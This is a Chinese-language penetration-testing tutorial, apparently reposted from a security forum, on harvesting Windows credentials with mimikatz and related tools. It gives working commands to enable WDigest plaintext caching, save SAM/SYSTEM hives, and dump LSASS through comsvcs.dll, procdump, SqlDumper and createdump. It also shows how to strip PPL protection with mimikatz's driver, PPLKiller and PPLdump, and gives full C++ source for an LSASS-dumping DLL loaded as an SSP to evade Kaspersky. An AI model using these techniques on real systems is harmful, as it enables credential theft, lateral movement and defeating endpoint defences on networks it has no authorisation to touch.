内网渗透-mimikataz的多种用法上
原文首发在:奇安信攻防社区
https://forum.butian.net/share/3653
在内网渗透中当我们得到一台高权限用户的身份时,就可以抓取到当前机器上的各类密码。虽然任务要求是导出域hash的方式,但在内网渗透中,获取当前机器的hash也有可能获取到域用户的hash,因此这里也分析一下如何获取当前机器的明文密码。
获取当前机器的明文密码
在导出域hash之前,我们可以先尝试导出当前机器的本地的hash密码,如果域用户之前在这台机器上进行登陆操作的话,可以直接获取到域用户甚至域管理员的账号。
在Windows操作系统上,sam数据库(C:\Windows\System32\config\sam)里保存着本地用户的hash。
在本地认证的流程中,作为本地安全权限服务进程lsass.exe也会把用户密码缓存在内存中(dmp文件)。
因此,在这里我们可以考虑两种方式进行抓取当前机器的hash:在线工具提取,离线分析提取。
注意:在windows 10\ 2012r2之后的系统版本中,默认情况下已禁用在内存缓存中存系统用户明文密码,此时再直接使用mimikatz去抓明文,肯定是抓不到的。密码字段位会直接显示为null。
这里我们手动修改注册表让其保存明文,方便我们进行抓取。(修改后需要注销用户再登陆)
reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG\_DWORD /d 1 /f
mimikatz
mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具。
下载地址:https://github.com/gentilkiwi/mimikatz
1.通过注册表抓取hash
命令行执行,获取当前系统注册表的SAM、SYSTEM文件(需要本地的管理员权限)
reg save HKLM\\SYSTEM Sys.hiv
reg save HKLM\\SAM Sam.hiv
获取到文件后可以下载到攻击者本机,离线使用mimikatz分析提取hash。
mimikatz.exe "lsadump::sam /sam:Sam.hiv /system:Sys.hiv" "exit"
这个方法只能获取到保存在SAM文件中的本地用户的账户
2.上传mimikatz进入目标靶机,在线提取本地SAM文件保存的账户hash值
privilege::debug
token::elevate
lsadump::sam
3.从lsass.exe的内存中提权hash
mimikatz "privilege::debug" "sekurlsa::logonpasswords full" "exit"
发现使用本地用户的管理员权限抓取到了登陆过本机的域管理员的hash值。
pwdump7
直接运行PwDump7.exe即可
WEC
上传到目标靶机添加参数直接运行即可。
-l 列出登录的会话和NTLM凭据(默认值)
-s 修改当前登录会话的NTLM凭据 参数:<用户名>:<域名>:<LM哈希>:<NT哈希>
-r 不定期的列出登录的会话和NTLM凭据,如果找到新的会话,那么每5秒重新列出一次
-c 用一个特殊的NTML凭据运行一个新的会话 参数:
-e 不定期的列出登录的会话和NTLM凭据,当产生一个登录事件的时候重新列出一次
-o 保存所有的输出到一个文件 参数:<文件名>
-i 指定一个LUID代替使用当前登录会话 参数:
-d 从登录会话中删除NTLM凭据 参数:
-a 使用地址 参数: <地址>
-f 强制使用安全模式
-g 生成LM和NT的哈希 参数<密码>
-K 缓存kerberos票据到一个文件(unix和windows wce格式)
-k 从一个文件中读取kerberos票据并插入到windows缓存中
-w 通过摘要式认证缓存一个明文的密码
-v 详细输出
laZagne
下载地址:https://github.com/AlessandroZ/LaZagne
LaZagne.exe all
SharpDump
https://github.com/GhostPack/SharpDump
直接编译即可
./Sharpdump
LsassSilentProcessExit
https://mp.weixin.qq.com/s/8uEr5dNaQs24KuKxu5Yi9w
Silent Process Exit,即静默退出。而这种调试技术,可以派生 werfault.exe进程,可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。
主要使用LsassSilentProcessExit这个api,通过修改注册表+远程进程注入的方式转储内存,相关的注册表键值:
#define IFEO\_REG\_KEY "SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\"
#define SILENT\_PROCESS\_EXIT\_REG\_KEY "SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SilentProcessExit\\\\"
使用远程进程注入让lsass.exe自己调用RtlReportSilentProcessExit函数:
HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
RtlReportSilentProcessExit\_func RtlReportSilentProcessExit = (RtlReportSilentProcessExit\_func)GetProcAddress(hNtdll, "RtlReportSilentProcessExit");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD\_START\_ROUTINE)RtlReportSilentProcessExit, (LPVOID)-1, NULL, NULL);
但是由于需要修改注册表,因此几乎无法绕过杀软环境。
LsassSilentProcessExit.exe 616 0
在敏感的环境下转储lsass进程的方式
无文件上传使用powershell导出
https://blog.csdn.net/chenfeng857/article/details/120126818
https://xz.aliyun.com/t/12157#toc-9
comsvcs.dll,系统自带。通过comsvcs.dll的导出函数MiniDump实现dump内存。
在dump指定进程内存文件时,需要开启SeDebugPrivilege权限。管理员权限的cmd下,默认支持SeDebugPrivilege权限,但是状态为Disabled禁用状态
如果直接在cmd下执行rundll32的命令尝试dump指定进程内存文件的话,由于无法开启SeDebugPrivilege权限,会dump失败。
但是,在管理员权限的powershell下,默认支持SeDebugPrivilege权限,并且状态为已启用。
首先查看lsass.exe进程PID
tasklist | findstr lsass.exe
rundll32.exe comsvcs.dll MiniDump PID Path full
rundll32.exe comsvcs.dll MiniDump 1096 C:\\Users\\16229\\Desktop\\1.dmp full
直接运行的话有可能会被杀软拦截。
一个简单的绕过思路:
copycomsvcs.dll到不敏感的目录,并随机命名,例如test.dll
copy C:\\windows\\System32\\comsvcs.dll test.dll
rundll32.exe C:\\Users\\16229\\Desktop\\code\_java\\test.dll MiniDump 1096 C:\\Users\\16229\\Desktop\\code\_java\\3.dmp full
拖到本地使用mimikatz进行分析即可。
mimikatz.exe log "sekurlsa::minidump 2.dmp" "sekurlsa::logonPasswords full" exit
在开启runasppl的环境下
https://www.freebuf.com/articles/system/332506.html
https://xz.aliyun.com/t/12157#toc-19
mimikatz
在开启PPL保护的情况下,即使是管理员也无法打开lsass进程。
mimikatz "privilege::debug" "sekurlsa::logonpasswords full" "exit"
Mimikatzprivilege::debug中的命令成功启用;SeDebugPrivilege,但是该命令sekurlsa::logonpasswords失败并出现错误代码0x00000005,从minikatz代码kuhl_m_sekurlsa_acquireLSA()函数中我们可以简单了解为
HANDLE hData = NULL;
DWORD pid;
DWORD processRights = PROCESS_VM_READ | PROCESS_QUERY_INFORMATION;
kull_m_process_getProcessIdForName(L"lsass.exe", &pid);
hData = OpenProcess(processRights, FALSE, pid);
if (hData && hData != INVALID_HANDLE_VALUE) {
// if OpenProcess OK
}
else {
PRINT_ERROR_AUTO(L"Handle on memory");
}
使用process explorer打开lsass进程查看,显示拒绝访问。
在Mimikatz中使用数字签名的驱动程序来删除内核中 Process 对象的保护标志
minikatz安装驱动程序
privilege::debug
!+
删除保护
!processprotect /process:lsass.exe /remove
然后就可以dump密码了
sekurlsa::logonpasswords
使用工具查看发现保护已经被删除了
mimikatz.exe "privilege::debug" "!+" "!processprotect /process:lsass.exe /remove" "sekurlsa::logonpasswords" "exit"
PPLKILLER
https://www.cnblogs.com/revercc/p/16961961.html
https://redcursor.com.au/bypassing-lsa-protection-aka-protected-process-light-without-mimikatz-on-windows-10/
优先级区别:PP 可以以完全访问权限打开 PP 或 PPL,只要其签名者级别大于或等于;一个 PPL 可以打开另一个具有完全访问权限的 PPL,只要其签名者级别大于或等于;无论签名者级别如何,PPL 都无法以完全访问权限打开 PP。
在开启PPL的情况下,只有运行在较高保护级别的进程才能对受保护进程进行操作。
Windows 内核使用 _EPROCESS 结构来表示内核内存中的进程,它包括一个 _PS_PROTECTION 字段,通过其 Type (_PS_PROTECTED_TYPE) 和 Signer (_PS_PROTECTED_SIGNER) 属性定义进程的保护级别。
typedef struct _PS_PROTECTION {
union {
UCHAR Level;
struct {
UCHAR Type : 3;
UCHAR Audit : 1; // Reserved
UCHAR Signer : 4;
};
};
} PS_PROTECTION, *PPS_PROTECTION;
虽然它表示为结构体,但所有信息都存储在单个字节的两个半字节中(Levelis a UCHAR,即 an unsigned char)。前 3 位表示保护Type(见PS_PROTECTED_TYPE下文)。它定义该进程是 PP 还是 PPL。最后 4 位表示Signer类型(见PS_PROTECTED_SIGNER下文),即实际的保护级别。
typedef enum _PS_PROTECTED_TYPE {
PsProtectedTypeNone = 0,
PsProtectedTypeProtectedLight = 1,
PsProtectedTypeProtected = 2
} PS_PROTECTED_TYPE, *PPS_PROTECTED_TYPE;
typedef enum _PS_PROTECTED_SIGNER {
PsProtectedSignerNone = 0, // 0
PsProtectedSignerAuthenticode, // 1
PsProtectedSignerCodeGen, // 2
PsProtectedSignerAntimalware, // 3
PsProtectedSignerLsa, // 4
PsProtectedSignerWindows, // 5
PsProtectedSignerWinTcb, // 6
PsProtectedSignerWinSystem, // 7
PsProtectedSignerApp, // 8
PsProtectedSignerMax // 9
} PS_PROTECTED_SIGNER, *PPS_PROTECTED_SIGNER;
如果我们要绕过 LSA 保护,可以通过修补 EPROCESS 内核结构来禁用 LSASS 进程上的 PPL 标志。为此,我们需要找到 LSASS EPROCESS 结构的地址,并将 5 个值:SignatureLevel、SectionSignatureLevel、Type、Audit 和 Signer 修补为零。
EnumDeviceDrivers 函数可用于泄漏内核基地址。这可用于定位 PsInitialSystemProcess,它指向系统进程的 EPROCESS 结构。由于内核将进程存储在链表中,因此可以使用EPROCESS结构的ActiveProcessLinks成员来迭代链表并查找LSASS。
查看 EPROCESS 结构,我们可以看到我们需要修补的 5 个字段都按惯例对齐为连续的 4 个字节。这让我们可以在单个 4 字节写入中修补 EPROCESS 结构,如下所示:
WriteMemoryPrimitive(Device, 4, CurrentProcessAddress + SignatureLevelOffset, 0x00);
找到地址后将这四个字节的值修补为零即可。
PPLKiller.exe /installDriver
tasklist | findstr lsass.exe
PPLKiller.exe /disablePPL 688
如果遇到内核版本不同导致程序无法正确修补四个字节,可以找到相同版本的机器,通过windbg调试查看lsass内核地址 。
bcdedit /debug on
srv\*https://msdl.microsoft.com/download/symbols
.reload
!process 0 0 lsass.exe
dt \_eprocess
找到地址0x6c0,将脚本修改再进行编译即可。
PPLdump
https://itm4n.github.io/the-end-of-ppldump/
https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/
PPLdump是一个用 C/C++ 编写的工具,它实现了用户态漏洞利用,以管理员身份将任意代码注入 PPL。该技术是 Alex Ionescu 和 James Forshaw 对受保护进程(PP 和 PPL)进行深入研究的众多发现之一。
PPLdump的工作原理如下:
-
调用API来诱骗 CSRSS 服务创建指向任意位置的DefineDosDevice符号链接。\KnownDlls
-
创建一个新的Section对象(由前面的符号链接指向)来托管包含我们要注入的代码的自定义DLL的内容。
-
作为 PPL 运行的可执行文件导入的 DLL 被劫持并执行我们的代码。
这里要记住的最重要的事情是,整个漏洞利用依赖于 PPL 中存在的弱点,而不是 PP 中存在的弱点。事实上, PPL 可以从目录加载 DLL\KnownDlls,而 PP 总是从磁盘加载 DLL。这是一个关键的区别,因为仅在最初从磁盘读取 DLL 以创建新的 Section 对象时才检查 DLL 的数字签名。当它被映射到进程的虚拟地址空间时,不会再检查它。
PP(L) 模型有效地防止未受保护的进程访问具有扩展访问权限的受保护进程,OpenProcess例如。这可以防止简单的内存访问,但是我没有提到这种保护的另一个方面。它还可以防止这些进程加载未签名的 DLL。这是有道理的,否则整体安全模型将毫无意义,因为您可以使用任何形式的 DLL 劫持并将任意代码注入您自己的 PPL 进程。这也解释了为什么在启用LSA保护时要特别注意第三方认证模块。
但这一规则有一个例外!这或许就是PP和PPL最大的区别所在。如果您了解 Windows 上的 DLL 搜索顺序,您就会知道,当创建一个进程时,它首先会遍历“已知 DLL”列表,然后继续遍历应用程序目录、系统目录等......搜索顺序中,“已知 DLL”步骤是一个特殊的步骤,通常会从 DLL 劫持漏洞的等式中删除,因为用户无法控制它。不过,在我们的例子中,这一步恰恰是 PPL 流程的“致命弱点”。
“已知 DLL”是 Windows 应用程序最常加载的 DLL。因此,为了提高整体性能,它们被预加载到内存中(即被缓存)。如果您想查看“已知 DLL”的完整列表,您可以使用WinObj并查看\KnownDlls对象管理器中目录的内容。
如果在PP保护的情况下加载DLL,每个文件的数字签名都需要经过验证,因此在较新的win10/server2022/win11(大约2022.7更新)的版本中,已经无法使用PPLdump,因为ppl程序于pp程序一样从磁盘直接加载dll。
ppl保护的程序会从\Known DLLs先查找,如果我们可以控制\Known DLLs中的dll,就可以实现dll劫持的功能,进而达到在lsass的程序空间中执行代码的效果。
利用原理:
1.向\Known DLLs中添加一个DLL,加载该DLL的进程,要满足被PPL保护且等级高于PsProtectedSignerLsa,比如PsProtectedSignerWinTcb-Light。且还要劫持目标dll后不影响程序功能,工具作者找到的进程为services.exe,被hook的dll为EventAggregation.dll;
2.以新建一个内核对象,该内核对象为一个符号链接,指向我们的恶意dll的section,而并非dll文件。我们可以使用NtCreateSection获得Section对象,但需要dll文件落地。
3.挟持DLL执行命令DUMP出lsass内存。
PPLdump.exe -v 648 1.dmp
在卡巴斯基的环境下
https://www.jianshu.com/p/00d70dc76678
使用国外大佬XPN使用RPC控制lsass加载SSP的代码,https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e
将三个文件下载到本地,使用visual studio进行编译,需要修改了几个地方。
(1)添加如下代码
pragma comment(lib, "Rpcrt4.lib") (引入Rpcrt4.lib库文件)
(2)将.c文件后缀改成.cpp (使用了c++代码,需要更改后缀)
(3) 编译时选择x64 (XPN大佬提供的是64位代码)
静态编译和动态编译是两种不同的编译方式,它们在编译和运行阶段的行为有所不同。
-
静态编译:
-
静态编译是指在编译阶段将程序所依赖的库和资源全部打包到可执行文件中。
-
在编译时,链接器会将所有必要的代码和库函数合并到最终的可执行文件中。
-
在运行时,不需要外部的依赖,可执行文件可以直接在目标系统上运行。
-
可执行文件相对较大,但不需要额外的依赖性,并且可以独立于目标系统。
-
动态编译:
-
动态编译是指在编译阶段只生成程序的部分代码,依赖的库和资源在运行时通过动态链接加载。
-
在编译时,只生成程序的框架,不包含具体的库函数的实现。
-
在运行时,程序会通过动态链接器根据需要加载依赖的库函数。
-
可执行文件相对较小,但在运行时需要依赖目标系统上存在相应的共享库文件。
区别总结:
-
静态编译将所有依赖打包到可执行文件中,不依赖外部库,可执行文件相对较大,但独立于目标系统。
-
动态编译在运行时加载依赖的库函数,可执行文件相对较小,但需要目标系统上存在相应的共享库。
-
静态编译适合需要独立执行、移植性要求较高或资源受限的场景。
-
动态编译适合需要灵活依赖库和方便更新的场景。
使用静态编译,防止不同的环境导致无法运行。
使用Release方式,防止生成文件过大。
然后用生成的exe,加载dump内存的dll文件,这里使用的是奇安信A-team团队公布的源码,并在基础上,增加了自动获取lsass的PID号功能,无需每次使用重复编译。
#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <string>
#include <map>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
using namespace std;
int FindPID()
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
cout << "CreateToolhelp32Snapshot Error!" << endl;;
return false;
}
BOOL bResult = Process32First(hProcessSnap, &pe32);
while (bResult)
{
if (_wcsicmp(pe32.szExeFile, L"lsass.exe") == 0)
{
return pe32.th32ProcessID;
}
bResult = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
return -1;
}
typedef HRESULT(WINAPI* _MiniDumpW)(
DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef DWORD(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);
int dump() {
HRESULT hr;
_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress(
LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL) {
return 0;
}
// try enable debug privilege
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
wchar_t ws[100];
swprintf(ws, 100, L"%hd%hs", FindPID(), " C:\\1.bin full");
MiniDumpW(0, 0, ws);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
dump();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
SSP_RPC.exe C:\Users\16229\Desktop\ssp_rpc\DLL_SSP.dll
然后拖入本地使用mimikatz进行分析即可。
mimikatz.exe "sekurlsa::minidump 1.bin" "sekurlsa::logonPasswords full" exit
签名/白名单文件Dump
任务管理器
点击转储文件即可,再将.DMP文件拖入本地使用mimikatz分析即可。
mimikatz.exe "sekurlsa::minidump 1.DMP" "sekurlsa::logonPasswords full" exit
SqlDumper
SqlDumper是有微软签名的,在安装了Sql Server服务的机器中直接会带有该工具。
<SQLServerInstall Drive>:\\Program Files\\Microsoft SQL Server\\{number}\\Shared\\SQLDumper.exe
tasklist /svc | findstr lsass.exe 查看lsass.exe 的PID号
Sqldumper.exe ProcessID 0 0x01100 导出mdmp文件
对于生成的文件,拖回本地使用mimikatz进行分析即可。
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit
procdump
procdump是微软官方发布的工具,使用该工具可以把Isass的内存dump下来。因为是微软发布的工具,因此可以绕过大多数的防护软件。
下载地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
首先也需要将procdump.exe上传到目标靶机
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
在当前目录生成文件lsass.dmp
再使用mimikatz来分析抓取hash
mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
createdump
这个工具也是具有微软签名的。
createdump.exe随着.NET5出现的,本身是个native binary
虽然createdump.exe是随着.NET5出现的,但因为它是native binary,所以执行时并不需要依赖.NET5的环境
createdump.exe -u -f lsass.dmp <lsass pid>
ProcExp
双击打开即可
- 点赞
- 收藏
- 关注作者
评论(0)